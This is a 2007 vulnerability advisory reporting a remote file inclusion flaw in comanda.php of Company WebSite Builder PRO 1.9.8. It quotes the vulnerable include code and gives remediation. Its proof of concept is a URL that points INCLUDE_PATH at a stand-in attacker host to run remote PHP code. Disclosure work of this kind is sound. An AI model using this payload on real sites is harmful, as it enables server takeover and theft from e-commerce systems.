ECHO_ADV_76$2007 ------------------------------------------------------------------------ -------------------- [ECHO_ADV_76$2007] Company WebSite Builder PRO (INCLUDE_PATH) Remote File Inclusion Vulnerability --------------------------------------------- ---------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : March, 15th 2007 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv76-theday-2007.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~ Application : Company WebSite Builder PRO ( CWB ) version : 1.9.8 URL : http://www.grafxsoftware.com/ This software makes it easy to build an e-commerce site that processes credit cards, wire transfers. This is a great Content Management System that's easy to install and use WITHOUT having to FTP upload pages every time they need to be updated. ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~ - Invalid include function at comanda.php -----------------------comanda.php------------ <? ... include($INCLUDE_LANGUAGE_PATH."$LANG.inc.php"); include($INCLUDE_PATH."connection.php"); include_once($INCLUDE_PATH."connection.php"); include_once($INCLUDE_PATH."cls_produs.php"); include_once($INCLUDE_PATH."cls_left_menu.php"); include_once($INCLUDE_PATH."cls_stire.php"); include_once($INCLUDE_PATH."cls_orders.php"); include_once($INCLUDE_PATH."cls_headline_prod.php"); include_once($INCLUDE_PATH."cls_checkout.php"); include_once("cls_download_products.php"); .... ?> ---------------------------------------------------------- Input passed to the "$INCLUDE_PATH" parameter in comanda.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Proof Of Concept: ~~~~~~~~~~~ http://localhost/cwb/comanda.php?INCLUDE_PATH=http://atacker.com/inject. txt? Solution: ~~~ - Sanitize variable $INCLUDE_PATH affected files. - Turn off register_globals ------------------------------------------------------------------------ --- Shoutz: ~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy Nice Girl ~ az001,bomm_3x,matdhule ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~ EcHo Research & Development Center http://advisories.echo.or.id erdc[at]echo[dot]or[dot]id the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------